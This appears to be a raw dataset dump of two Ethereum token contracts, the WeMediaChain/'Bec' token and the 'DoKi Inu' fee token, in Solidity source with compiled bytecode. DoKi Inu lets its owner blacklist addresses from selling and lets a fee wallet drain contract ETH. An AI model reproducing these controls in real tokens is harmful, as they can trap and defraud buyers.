_value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract Frozen is Pausable { /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); mapping (address => bool) public frozenAccount; /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner whenNotPaused public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } modifier whenNotFrozen() { require(!frozenAccount[msg.sender]); _; } } /** * @title Pausable Frozen token * * @dev StandardToken modified with pausable transfers and frozen. **/ contract PausableFrozenToken is StandardToken, Frozen { function transfer(address _to, uint256 _value) public whenNotPaused whenNotFrozen returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused whenNotFrozen returns (bool) { require(!frozenAccount[_from]); return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused whenNotFrozen returns (bool) { return super.approve(_spender, _value); } function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused whenNotFrozen returns (bool) { uint cnt = _receivers.length; uint256 amount = _value.mul(uint256(cnt)); require(cnt > 0 && cnt <= 20); require(_value > 0 && balances[msg.sender] >= amount); balances[msg.sender] = balances[msg.sender].sub(amount); for (uint i = 0; i < cnt; i++) { balances[_receivers[i]] = balances[_receivers[i]].add(_value); Transfer(msg.sender, _receivers[i], _value); } return true; } } /** * @title Bec Token * * @dev Implementation of Bec Token based on the basic standard token. */ contract WeMediaChainToken is PausableFrozenToken { /** * Public variables of the token * The following variables are OPTIONAL vanities. One does not have to include them. * They allow one to customise the token contract & in no way influences the core functionality. * Some wallets/interfaces might not even bother to look at this information. */ string public name = "WeMediaChain"; string public symbol = "WMC"; string public version = '1.0.0'; uint8 public decimals = 18; /** * @dev Function to check the amount of tokens that an owner allowed to a spender. */ function WeMediaChainToken() { totalSupply = 1500000000 * (10**(uint256(decimals))); balances[msg.sender] = totalSupply; // Give the creator all initial tokens } function () { //if ether is sent to this address, send it back. revert(); } }
0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461010e578063095ea7b31461019e57806318160ddd1461020357806323b872dd1461022e578063313ce567146102b35780633f4ba83a146102e457806354fd4d50146102fb5780635c975abb1461038b57806370a08231146103ba57806383f12fec146104115780638456cb59146104995780638da5cb5b146104b057806395d89b4114610507578063a9059cbb14610597578063b414d4b6146105fc578063dd62ed3e14610657578063e724529c146106ce578063f2fde38b1461071d575b34801561010857600080fd5b50600080fd5b34801561011a57600080fd5b50610123610760565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610163578082015181840152602081019050610148565b50505050905090810190601f1680156101905780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101aa57600080fd5b506101e9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107fe565b604051808215151515815260200191505060405180910390f35b34801561020f57600080fd5b50610218610887565b6040518082815260200191505060405180910390f35b34801561023a57600080fd5b50610299600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061088d565b604051808215151515815260200191505060405180910390f35b3480156102bf57600080fd5b506102c8610971565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f057600080fd5b506102f9610984565b005b34801561030757600080fd5b50610310610a44565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610350578082015181840152602081019050610335565b50505050905090810190601f16801561037d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561039757600080fd5b506103a0610ae2565b604051808215151515815260200191505060405180910390f35b3480156103c657600080fd5b506103fb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610af5565b6040518082815260200191505060405180910390f35b34801561041d57600080fd5b5061047f6004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190929190505050610b3e565b604051808215151515815260200191505060405180910390f35b3480156104a557600080fd5b506104ae610e43565b005b3480156104bc57600080fd5b506104c5610f04565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561051357600080fd5b5061051c610f2a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561055c578082015181840152602081019050610541565b50505050905090810190601f1680156105895780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105a357600080fd5b506105e2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fc8565b604051808215151515815260200191505060405180910390f35b34801561060857600080fd5b5061063d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611051565b604051808215151515815260200191505060405180910390f35b34801561066357600080fd5b506106b8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611071565b6040518082815260200191505060405180910390f35b3480156106da57600080fd5b5061071b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506110f8565b005b34801561072957600080fd5b5061075e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061123a565b005b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107f65780601f106107cb576101008083540402835291602001916107f6565b820191906000526020600020905b8154815290600101906020018083116107d957829003601f168201915b505050505081565b6000600360149054906101000a900460ff1615151561081c57600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561087557600080fd5b61087f8383611392565b905092915050565b60005481565b6000600360149054906101000a900460ff161515156108ab57600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561090457600080fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561095d57600080fd5b610968848484611484565b90509392505050565b600860009054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109e057600080fd5b600360149054906101000a900460ff1615156109fb57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ada5780601f10610aaf57610100808354040283529160200191610ada565b820191906000526020600020905b815481529060010190602001808311610abd57829003601f168201915b505050505081565b600360149054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080600080600360149054906101000a900460ff16151515610b6057600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610bb957600080fd5b85519250610bd0838661184f90919063ffffffff16565b9150600083118015610be3575060148311155b1515610bee57600080fd5b600085118015610c3d575081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b1515610c4857600080fd5b610c9a82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188290919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600090505b82811015610e3657610d5385600160008985815181101515610d0057fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189b90919063ffffffff16565b600160008884815181101515610d6557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508581815181101515610dbb57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a38080600101915050610ce2565b6001935050505092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e9f57600080fd5b600360149054906101000a900460ff16151515610ebb57600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610fc05780601f10610f9557610100808354040283529160200191610fc0565b820191906000526020600020905b815481529060010190602001808311610fa357829003601f168201915b505050505081565b6000600360149054906101000a900460ff16151515610fe657600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561103f57600080fd5b61104983836118b9565b905092915050565b60046020528060005260406000206000915054906101000a900460ff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561115457600080fd5b600360149054906101000a900460ff1615151561117057600080fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561129657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156112d257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156114c157600080fd5b6000821180156115105750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211155b151561151b57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156115a657600080fd5b6115f882600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188290919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061168d82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189b90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061175f82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188290919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008082840290506000841480611870575082848281151561186d57fe5b04145b151561187857fe5b8091505092915050565b600082821115151561189057fe5b818303905092915050565b60008082840190508381101515156118af57fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156118f657600080fd5b6000821180156119455750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211155b151561195057600080fd5b6119a282600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188290919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a3782600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189b90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a7230582003a1c8b49e01176665e18967fe4de51cf96fdad62401c38a964a728761630f4c0029
{"success": true, "error": null, "results": {}}
7,419
0x3f457a5b61586c151fb710acebef617d68a4ccde
/** *Submitted for verification at Etherscan.io on 2022-05-04 */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _dev; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DoKiInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; struct Taxes { uint256 buyFee1; uint256 buyFee2; uint256 sellFee1; uint256 sellFee2; } Taxes private _taxes = Taxes(0,3,0,3); uint256 private initialTotalBuyFee = _taxes.buyFee1 + _taxes.buyFee2; uint256 private initialTotalSellFee = _taxes.sellFee1 + _taxes.sellFee2; address payable private _feeAddrWallet; uint256 private _feeRate = 15; string private constant _name = "DoKi Inu"; string private constant _symbol = "DOKI"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; bool private _isBuy = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x666df8BC3feDE9a97031eABd4a6E31c7f0ACFfaB); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); _isBuy = true; if (from != owner() && to != owner()) { if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // buy require(amount <= _maxTxAmount); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); } if (from != address(uniswapV2Router) && ! _isExcludedFromFee[from] && to == uniswapV2Pair){ require(!bots[from] && !bots[to]); _isBuy = false; } uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function getIsBuy() private view returns (bool){ return _isBuy; } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function adjustFees(uint256 buyFee1, uint256 buyFee2, uint256 sellFee1, uint256 sellFee2) external onlyOwner { require(buyFee1 + buyFee2 <= initialTotalBuyFee); require(sellFee1 + sellFee2 <= initialTotalSellFee); _taxes.buyFee1 = buyFee1; _taxes.buyFee2 = buyFee2; _taxes.sellFee1 = sellFee1; _taxes.sellFee2 = sellFee2; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function setFeeRate(uint256 rate) external { require(_msgSender() == _feeAddrWallet); require(rate<=49); _feeRate = rate; } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal.mul(1).div(100); _maxWalletSize = _tTotal.mul(2).div(100); tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function addBot(address[] memory _bots) public onlyOwner { for (uint i = 0; i < _bots.length; i++) { if (_bots[i] != address(this) && _bots[i] != uniswapV2Pair && _bots[i] != address(uniswapV2Router)){ bots[_bots[i]] = true; } } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = getIsBuy() ? _getTValues(tAmount, _taxes.buyFee1, _taxes.buyFee2) : _getTValues(tAmount, _taxes.sellFee1, _taxes.sellFee2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101395760003560e01c80636fc3eaec116100ab57806395d89b411161006f57806395d89b41146103e3578063a9059cbb1461040e578063b87f137a1461044b578063c3c8cd8014610474578063c9567bf91461048b578063dd62ed3e146104a257610140565b80636fc3eaec1461033657806370a082311461034d578063715018a61461038a578063751039fc146103a15780638da5cb5b146103b857610140565b806323b872dd116100fd57806323b872dd1461022a578063273123b714610267578063313ce5671461029057806345596e2e146102bb5780635932ead1146102e4578063677daa571461030d57610140565b806306fdde0314610145578063095ea7b31461017057806317e1df5b146101ad57806318160ddd146101d657806321bbcbb11461020157610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104df565b60405161016791906129dd565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612aa7565b61051c565b6040516101a49190612b02565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf9190612b1d565b61053a565b005b3480156101e257600080fd5b506101eb610631565b6040516101f89190612b93565b60405180910390f35b34801561020d57600080fd5b5061022860048036038101906102239190612cf6565b610643565b005b34801561023657600080fd5b50610251600480360381019061024c9190612d3f565b6108a5565b60405161025e9190612b02565b60405180910390f35b34801561027357600080fd5b5061028e60048036038101906102899190612d92565b61097e565b005b34801561029c57600080fd5b506102a5610a6e565b6040516102b29190612ddb565b60405180910390f35b3480156102c757600080fd5b506102e260048036038101906102dd9190612df6565b610a77565b005b3480156102f057600080fd5b5061030b60048036038101906103069190612e4f565b610af0565b005b34801561031957600080fd5b50610334600480360381019061032f9190612df6565b610ba2565b005b34801561034257600080fd5b5061034b610c7d565b005b34801561035957600080fd5b50610374600480360381019061036f9190612d92565b610cef565b6040516103819190612b93565b60405180910390f35b34801561039657600080fd5b5061039f610d40565b005b3480156103ad57600080fd5b506103b6610e93565b005b3480156103c457600080fd5b506103cd610f4c565b6040516103da9190612e8b565b60405180910390f35b3480156103ef57600080fd5b506103f8610f75565b60405161040591906129dd565b60405180910390f35b34801561041a57600080fd5b5061043560048036038101906104309190612aa7565b610fb2565b6040516104429190612b02565b60405180910390f35b34801561045757600080fd5b50610472600480360381019061046d9190612df6565b610fd0565b005b34801561048057600080fd5b506104896110ab565b005b34801561049757600080fd5b506104a0611125565b005b3480156104ae57600080fd5b506104c960048036038101906104c49190612ea6565b611693565b6040516104d69190612b93565b60405180910390f35b60606040518060400160405280600881526020017f446f4b6920496e75000000000000000000000000000000000000000000000000815250905090565b600061053061052961171a565b8484611722565b6001905092915050565b61054261171a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c690612f32565b60405180910390fd5b600f5483856105de9190612f81565b11156105e957600080fd5b60105481836105f89190612f81565b111561060357600080fd5b83600b6000018190555082600b6001018190555081600b6002018190555080600b6003018190555050505050565b600069021e19e0c9bab2400000905090565b61064b61171a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffff